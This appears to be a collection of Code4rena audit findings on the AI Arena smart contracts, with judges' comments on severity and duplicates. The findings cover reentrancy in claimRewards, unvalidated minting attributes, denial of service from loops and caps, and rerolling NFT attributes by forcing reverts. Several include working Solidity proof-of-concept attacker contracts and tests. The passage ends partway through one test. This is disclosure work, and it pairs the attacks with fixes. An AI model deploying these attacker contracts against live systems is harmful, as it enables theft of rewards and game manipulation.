function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; @> uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { @> numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { @> _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
This is a PoC. It shows that you can receive rewards multiple times through reentrancy attack.
First, add the PoCClaimRewardsReentrancy contract at the bottom of MergingPool.t.sol. This contract can be considered as a customisable Contract wallet of the attacker.
contract PoCClaimRewardsReentrancy { uint256 counter; MergingPool mergingPool; bool startAttack; constructor(MergingPool _mergingPool) { mergingPool = _mergingPool; } function attack() public { startAttack = true; // claim 0, 1 round string[] memory _modelURIs = new string[](2); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](2); _modelTypes[0] = "original"; _modelTypes[1] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](2); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); _customAttributes[1][0] = uint256(1); _customAttributes[1][1] = uint256(80); mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes); startAttack = false; } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4){ if(!startAttack){ return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)"))); // no reenter } if(counter > 0){ return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)"))); // Reenter only once. (for PoC) } counter ++; // claim for round1 by reenterancy attack string[] memory _modelURIs = new string[](1); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](1); _modelTypes[0] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](1); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes); return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)"))); } }
And add this test case to MergingPool.t.sol and run it. The attacker, who can claim 2 NFTs, received 3 NFTs by reentrancy attack.
function testPoCClaimRewardsReentrancy() public { address attacker_contract_wallet = address(new PoCClaimRewardsReentrancy(_mergingPoolContract)); address attacker_EOA = address(0x1337); _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(attacker_contract_wallet); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); assertEq(_fighterFarmContract.ownerOf(1), attacker_contract_wallet); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true); // winner matches ownerOf tokenId assertEq(_mergingPoolContract.winnerAddresses(0, 1) == attacker_contract_wallet, true); // winners of roundId 1 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(1), true); assertEq(_mergingPoolContract.winnerAddresses(1, 0) == _ownerAddress, true); // winner matches ownerOf tokenId assertEq(_mergingPoolContract.winnerAddresses(1, 1) == attacker_contract_wallet, true); assertEq(_fighterFarmContract.balanceOf(attacker_contract_wallet), 1); // attacker should claim 2 NFT, but attacker can get 3 NFT by reentrancy attack vm.prank(attacker_EOA); PoCClaimRewardsReentrancy(attacker_contract_wallet).attack(); uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(attacker_contract_wallet); assertEq(_fighterFarmContract.balanceOf(attacker_contract_wallet), 4); }
Manual Review
You can prevent reentrancy attack by using ReentrancyGuard.
Reentrancy
#0 - c4-pre-sort
2024-02-22T08:35:46Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:35:58Z
raymondfam marked the issue as duplicate of #37
#2 - c4-judge
2024-03-07T02:41:36Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: nuthan2x
Also found by: 0xE1, 0xblackskull, 0xgrbr, 0xvj, Greed, McToady, MidgarAudits, PetarTolev, Sabit, SovaSlava, SpicyMeatball, Timenov, Tychai0s, _eperezok, alexxander, btk, c0pp3rscr3w3r, favelanky, jesjupyter, josephdara, juancito, klau5, kutugu, lil_eth, merlinboii, pynschon, sandy, shaflow2, zaevlad
29.1474 USDC - $29.15
Judge has assessed an item in Issue #1023 as 2 risk. The relevant finding follows:
AccessControl is being used incorrectly Links to affected code https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L95
Impact Using _setupRole for the purpose of grantRole is deprecated and _setupRole should only be used at initialization. Because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address.
Proof of Concept When using AccessControl, you have to set the DEFAULT_ADMIN_ROLE or each role’s admin and use the grantRole function to set roles. Using _setupRole for the purpose of grantRole is deprecated and _setupRole should only be used at initialization.
/**
* @dev Grants role
to account
.
*
* If account
had not been already granted role
, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* May emit a {RoleGranted} event.
*
@> * [WARNING]
* ====
@> * This function should only be called from the constructor when setting
* up the initial roles for the system.
*
@> * Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
@> * NOTE: This function is deprecated in favor of {_grantRole}.
*/
In addition, because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address when it is changed to a new Minter/Staker/Spender in the future.
Tools Used Manual Review
Recommended Mitigation Steps Set the DEFAULT_ADMIN_ROLE in the constructor. Don’t use _setupRole in the addMinter, addStaker, addSpender functions, use grantRole instead.
#0 - c4-judge
2024-03-21T00:37:32Z
HickupHH3 marked the issue as duplicate of #1507
#1 - c4-judge
2024-03-21T00:37:37Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L329 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L502-L505 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L158
It is possible to set invalid weight or element.
The weight should be a value between 65 and 95, and the element should be a number within the numElements
setting. Initially, the element can be a value between 0 and 2.
mintFromMergingPool
allows the user to freely set the weight and element by receiving custom attributes as a parameter. And it does not validate the customAttributes
parameter.
function mintFromMergingPool( address to, string calldata modelHash, string calldata modelType, uint256[2] calldata customAttributes ) public { require(msg.sender == _mergingPoolAddress); _createNewFighter( to, uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHash, modelType, 0, 0, @> customAttributes ); } function _createNewFighter( address to, uint256 dna, string memory modelHash, string memory modelType, uint8 fighterType, uint8 iconsType, uint256[2] memory customAttributes ) private { require(balanceOf(to) < MAX_FIGHTERS_ALLOWED); uint256 element; uint256 weight; uint256 newDna; if (customAttributes[0] == 100) { (element, weight, newDna) = _createFighterBase(dna, fighterType); } else { @> element = customAttributes[0]; @> weight = customAttributes[1]; @> newDna = dna; } ... }
Therefore, the user can set a weight or element that would originally be impossible. Invalid data can be set to cause a failure in the game.
This is PoC. Add to MergingPool.t.sol and test.
function testPoCInvalidCustomAttributes() public { address user = address(0x1337); _mintFromMergingPool(user); _mintFromMergingPool(_ownerAddress); assertEq(_fighterFarmContract.ownerOf(0), user); assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress); assertEq(_fighterFarmContract.balanceOf(user), 1); // user has 1 NFT uint256[] memory _winners = new uint256[](2); _winners[0] = 0; // pick user as winner _winners[1] = 1; _mergingPoolContract.pickWinner(_winners); string[] memory _modelURIs = new string[](1); string[] memory _modelTypes = new string[](1); uint256[2][] memory _customAttributes = new uint256[2][](1); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelTypes[0] = "original"; _customAttributes[0][0] = uint256(99); // invalid element _customAttributes[0][1] = uint256(99); // invalid weight vm.prank(user); _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); assertEq(_fighterFarmContract.ownerOf(2), user); (,,uint256 weight,uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2); assertEq(weight, 99); assertEq(element, 99); }
Manual Review
Check that customAttributes is normal value.
Invalid Validation
#0 - c4-pre-sort
2024-02-24T09:01:44Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T09:01:59Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:27:47Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L495 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L149-L154
A user with more than 10 unclaimed rewards cannot claim rewards forever.
In claimRewards
, it starts to claim from the past rewards, so it can claim multiple reward NFT at once. It is impossible to request the rewards up to a certain round, and users have to request all the rewards up to the most recent round at once.
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; @> for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { @> _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
However, one account can have maximum of 10 Fighters. If this account has more than 10 unclaimed rewards, this user can never claim rewards because the transaction would be reverted.
function mintFromMergingPool( address to, string calldata modelHash, string calldata modelType, uint256[2] calldata customAttributes ) public { require(msg.sender == _mergingPoolAddress); @> _createNewFighter( to, uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHash, modelType, 0, 0, customAttributes ); } uint8 public constant MAX_FIGHTERS_ALLOWED = 10; function _createNewFighter( address to, uint256 dna, string memory modelHash, string memory modelType, uint8 fighterType, uint8 iconsType, uint256[2] memory customAttributes ) private { @> require(balanceOf(to) < MAX_FIGHTERS_ALLOWED); ... }
This is PoC. Add it to the MergingPool.t.sol file and test it.
function testPoCCannotClaimRewardsBecauseOfUpperLimit() public { address user = address(0x1337); _mintFromMergingPool(user); _mintFromMergingPool(_ownerAddress); assertEq(_fighterFarmContract.ownerOf(0), user); assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress); assertEq(_fighterFarmContract.balanceOf(user), 1); // user has 1 NFT uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // pick user as winner // winners of roundId 0~9 are picked for(uint256 i = 0; i < 10; i ++){ _mergingPoolContract.pickWinner(_winners); } string[] memory _modelURIs = new string[](10); string[] memory _modelTypes = new string[](10); uint256[2][] memory _customAttributes = new uint256[2][](10); for(uint256 i = 0; i < 10; i ++){ _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelTypes[i] = "original"; _customAttributes[i][0] = uint256(1); _customAttributes[i][1] = uint256(80); } vm.expectRevert(); vm.prank(user); _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); }
Manual Review
Allow users to specify a range of rounds to claim.
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes, + uint256 endRound ) external { + require(endRound <= roundId && numRoundsClaimed[msg.sender] < endRound); uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; - for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { + for (uint32 currentRound = lowerBound; currentRound < endRound; currentRound++) { numRoundsClaimed[msg.sender] += 1; ... } ... }
Other
#0 - c4-pre-sort
2024-02-22T08:36:58Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-22T08:37:05Z
raymondfam marked the issue as primary issue
#2 - c4-pre-sort
2024-02-22T08:39:59Z
raymondfam marked the issue as sufficient quality report
#3 - raymondfam
2024-02-26T01:48:17Z
Pretty edge case on the lucky winner. This should be preventable if the user were to transfer some of the fighters to another address he/she owns.
#4 - c4-sponsor
2024-03-04T01:13:49Z
brandinho (sponsor) confirmed
#5 - c4-judge
2024-03-11T12:48:01Z
HickupHH3 marked the issue as satisfactory
#6 - c4-judge
2024-03-11T12:51:14Z
HickupHH3 marked the issue as selected for report
#7 - HickupHH3
2024-03-11T12:54:29Z
will be a problem if user has >= 11 unclaimed rounds.
#8 - McCoady
2024-03-19T14:03:10Z
Hi, this issue and it's duplicates contain reports on 3 different DoS instances in both RankedBattle::claimRewards
(2) and MergingPool::claimNRN
(1).
This seems most unlikely, given that:
I believe with input from the sponsors they'd likely confirm that this scenario is actually the most unlikely of the three.
claimRewards
claimNRN
..
The selected report doesn't mention the two other DoS instances, and although the proposed mitigation would also mitigate # 2, the sponsor may remain unaware of # 3 (which actually has a steeper gas escalation curve than # 2, meaning it's more likely to eventually end up a complete DoS rather than just an unfair gas ramp up)
A final point, issues #47 & #1507 similarly share a root vulnerability type but have been marked as separate issues while these three have been grouped together.
#9 - mcgrathcoutinho
2024-03-19T18:44:11Z
Hi @HickupHH3, adding on to the different issues pointed out by @McCoady above:
As @McCoady mentioned, this is a highly unlikely scenario.
This issue describes a different attack vector where newer users or users who won recently are required to loop through all rounds. This is more gas intensive since it executes a nested for loop with an external call to mintFromMergingPool(), which itself also has gas intensive calculations occurring when generating fighters and minting them.
This issue should be decoupled from the remaining two mentioned above and treated as QA severity. Considering that rounds are expected to run bi-weekly (every two weeks) and the function only runs one for loop which is not gas intensive (compared to 2 above which is nested along with more calculations), I believe it makes sense to treat it as QA.
I believe it would make sense to treat (2) as the primary with (1) being partially duplicated under it (since mitigating either would solve both issues). Issue (3) should be treated as a separate issue since it is not occurring in the same contract and deals with NRN and not Fighter NFTs.
Please consider re-evaluating this issue. I hope my assessment assists your judgement.
Thank you for your time.
#10 - HickupHH3
2024-03-20T09:41:10Z
TLDR: will be separating all 3 categories.
## 1. Users with more than 10 unclaimed rewards revert
Agree that it's unlikely to happen, but if it does, the user will be unable to claim the NFTs he won
## 2. Loop in claimRewards()
Likelihood depends on the number of winners in each round to iterate and the number of NFTs won.
## 3. Loop in claimNRN()
Likelihood depends on whether the figher has any points accumulated, but should be lower than (1) and (2) because the ERC20 transfer is done once
Severity, will be keeping all as medium, no change.
#11 - HickupHH3
2024-03-20T14:43:31Z
Been thinking about this for a while. Am keeping all categories grouped together, with #868 as the best report as it covers both claimNRN()
and claimRewards()
with POC.
The root cause of all 3 categories is the same: unbounded looping that either exceeds the maximum fighter account balance limit of 10 NFT, or the block gas limit. Solving the root cause with bounded looping mitigates all issues.
I base off the duplication reasoning off this: https://docs.code4rena.com/awarding/judging-criteria/supreme-court-decisions-fall-2023#verdict-similar-exploits-under-a-single-issue
The findings are duplicates if they share the same root cause.
More specifically, if fixing the Root Cause (in a reasonable manner) would cause the finding to no longer be exploitable, then the findings are duplicates.
This is the same reasoning why I kept #47 and #1507 separate. Both have the same impact of not being able to revoke roles, but #47 has to do with no toggle-able flag; #1507 has to do with the lack of DEFAULT_ADMIN_ROLE
being set up. Fixing either one as a standalone doesn't solve both issues; separate different solutions are required.
I note that the category 1 duplication isn't clear-cut: even with bounded looping, there would be an inconvenience in having to transfer his fighter(s) to another account to claim more rewards once his balance reaches the maximum limit. Nevertheless, the problem of not being able to claim fighters entirely is mitigated.
Given the above, when similar exploits would demonstrate different impacts, the highest, most irreversible would be the one used for scoring the finding. Duplicates of the finding will be graded based on the achieved impact relative to the Submission Chosen for Report.
All 3 categories have the same impact of not being able to claim fighters / NRN. It's difficult to say if Category 3 has a larger impact over Category 1/2:
As such, will treat all categories equally.
#12 - c4-judge
2024-03-21T02:04:15Z
HickupHH3 marked issue #868 as primary and marked this issue as a duplicate of 868
🌟 Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
Cannot claim reward due to the gas limit.
In claimRewards
, it checks all past arrays to request rewards. For example, if a user first wins in round 10, the user has to find by checking all the winner arrays from round 0 to 10. Also, users who participate after many rounds also have to start from round 0. In addition, because it requests all unclaimed reward NFTs from the past at once, it can consume a lot of gas.
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; @> for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; @> for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
If many rounds have passed or if a large amount of NFT is claimed, the gas limit may be reached and the transaction may be reverted. This user can never claim their rewards.
This is a PoC. Add it to the MergingPool.t.sol file and test it. In this PoC, we selected many winners and passed many rounds to provide an extreme example of a revert by consuming more than 32,000,000 gas, which is the block gas limit. However, it could revert with fewer winners and rounds in a more realistic situation.
function testPoCCannotClaimRewardsBecauseOfGasLimit() public { address user = address(0x1337); _mintFromMergingPool(user); _mintFromMergingPool(_ownerAddress); assertEq(_fighterFarmContract.ownerOf(0), user); assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress); assertEq(_fighterFarmContract.balanceOf(user), 1); // user has one NFT // increased winner uint256 winnersPerPeriod = 100; _mergingPoolContract.updateWinnersPerPeriod(winnersPerPeriod); assertEq(_mergingPoolContract.winnersPerPeriod(), winnersPerPeriod); uint256[] memory _winners = new uint256[](winnersPerPeriod); for(uint256 i = 0 ; i < winnersPerPeriod; i ++){ _winners[i] = 1; // _ownerAddress picked } // other users wins at past round. for(uint256 i = 0; i < 550; i ++){ _mergingPoolContract.pickWinner(_winners); } // user picked 9 times _winners[winnersPerPeriod -1] = 0; for(uint256 i = 0; i < 9; i ++){ // user picked nine time _mergingPoolContract.pickWinner(_winners); } string[] memory _modelURIs = new string[](9); string[] memory _modelTypes = new string[](9); uint256[2][] memory _customAttributes = new uint256[2][](9); for(uint256 i = 0 ; i < 9; i++){ _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelTypes[i] = "original"; _customAttributes[i][0] = uint256(1); _customAttributes[i][1] = uint256(80); } vm.expectRevert(); vm.prank(user); // user claims first time, it starts from round 0 // Block gas limit 32,000,000 https://docs.arbitrum.io/for-devs/chain-params _mergingPoolContract.claimRewards{gas: 32000000 }(_modelURIs, _modelTypes, _customAttributes); }
Manual Review
You don't need to traverse the array if you use a map instead.
+ mapping(uint256 => mapping(address => uint256)) winners; function pickWinner(uint256[] calldata winners) external { require(isAdmin[msg.sender]); require(winners.length == winnersPerPeriod, "Incorrect number of winners"); require(!isSelectionComplete[roundId], "Winners are already selected"); uint256 winnersLength = winners.length; address[] memory currentWinnerAddresses = new address[](winnersLength); for (uint256 i = 0; i < winnersLength; i++) { currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]); totalPoints -= fighterPoints[winners[i]]; fighterPoints[winners[i]] = 0; } - winnerAddresses[roundId] = currentWinnerAddresses; + winners[roundId][currentWinnerAddresses] += 1; isSelectionComplete[roundId] = true; roundId += 1; } function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; - for (uint32 j = 0; j < winnersLength; j++) { - if (msg.sender == winnerAddresses[currentRound][j]) { + for(uint32 j = 0; j < winners[roundId][msg.sender]; j++) { _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
Loop
#0 - c4-pre-sort
2024-02-23T23:56:04Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T23:56:14Z
raymondfam marked the issue as duplicate of #1541
#2 - c4-judge
2024-03-11T13:01:06Z
HickupHH3 marked the issue as duplicate of #216
#3 - c4-judge
2024-03-12T02:35:48Z
HickupHH3 marked the issue as partial-50
#4 - c4-judge
2024-03-21T02:12:39Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
Judge has assessed an item in Issue #1023 as 2 risk. The relevant finding follows:
Block claimFighters and redeemMintPasses from claiming more than 10
#0 - c4-judge
2024-03-11T12:56:00Z
HickupHH3 marked the issue as duplicate of #216
#1 - c4-judge
2024-03-11T12:56:15Z
HickupHH3 marked the issue as satisfactory
#2 - c4-judge
2024-03-11T12:56:21Z
HickupHH3 marked the issue as partial-50
#3 - c4-judge
2024-03-21T03:02:29Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0458 USDC - $0.05
Can mint NFT with the desired attribute.
All the attributes of the NFT that should be randomly determined are set in the same transaction which they're claimed. Therefore, if a user uses a contract wallet, they can intentionally revert the transaction and retry minting if they do not get the desired attribute.
function _createNewFighter( address to, uint256 dna, string memory modelHash, string memory modelType, uint8 fighterType, uint8 iconsType, uint256[2] memory customAttributes ) private { require(balanceOf(to) < MAX_FIGHTERS_ALLOWED); uint256 element; uint256 weight; uint256 newDna; if (customAttributes[0] == 100) { @> (element, weight, newDna) = _createFighterBase(dna, fighterType); } else { element = customAttributes[0]; weight = customAttributes[1]; newDna = dna; } uint256 newId = fighters.length; bool dendroidBool = fighterType == 1; @> FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], iconsType, dendroidBool ); fighters.push( FighterOps.Fighter( weight, element, attrs, newId, modelHash, modelType, generation[fighterType], iconsType, dendroidBool ) ); @> _safeMint(to, newId); FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]); } function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
This is PoC.
First, add the PoCCanClaimSpecificAttributeByRevert contract at the bottom of the FighterFarm.t.sol file. This contract represents a user-customizable contract wallet. If the user does not get an NFT with desired attributes, they can revert the transaction and retry minting again.
contract PoCCanClaimSpecificAttributeByRevert { FighterFarm fighterFarm; address owner; constructor(FighterFarm _fighterFarm) { fighterFarm = _fighterFarm; owner = msg.sender; } function tryClaim(uint8[2] memory numToMint, bytes memory claimSignature, string[] memory claimModelHashes, string[] memory claimModelTypes) public { require(msg.sender == owner, "not owner"); try fighterFarm.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes) { // success to get specific attribute NFT } catch { // try again next time } } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4){ (,,uint256 weight,,,,) = fighterFarm.getAllFighterInfo(tokenId); require(weight == 95, "I don't want this attribute"); return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)"))); } }
Then, add this test to the FighterFarm.t.sol file and run it.
function testPoCCanClaimSpecificAttributeByRevert() public { uint256 signerPrivateKey = 0xabc123; address _POC_DELEGATED_ADDRESS = vm.addr(signerPrivateKey); // setup fresh setting to use _POC_DELEGATED_ADDRESS _fighterFarmContract = new FighterFarm(_ownerAddress, _POC_DELEGATED_ADDRESS, _treasuryAddress); _helperContract = new AiArenaHelper(_probabilities); _mintPassContract = new AAMintPass(_ownerAddress, _POC_DELEGATED_ADDRESS); _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract)); _mintPassContract.setPaused(false); _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress); _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract)); _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress); _rankedBattleContract = new RankedBattle( _ownerAddress, address(_fighterFarmContract), _POC_DELEGATED_ADDRESS, address(_voltageManagerContract) ); _rankedBattleContract.instantiateNeuronContract(address(_neuronContract)); _mergingPoolContract = new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract)); 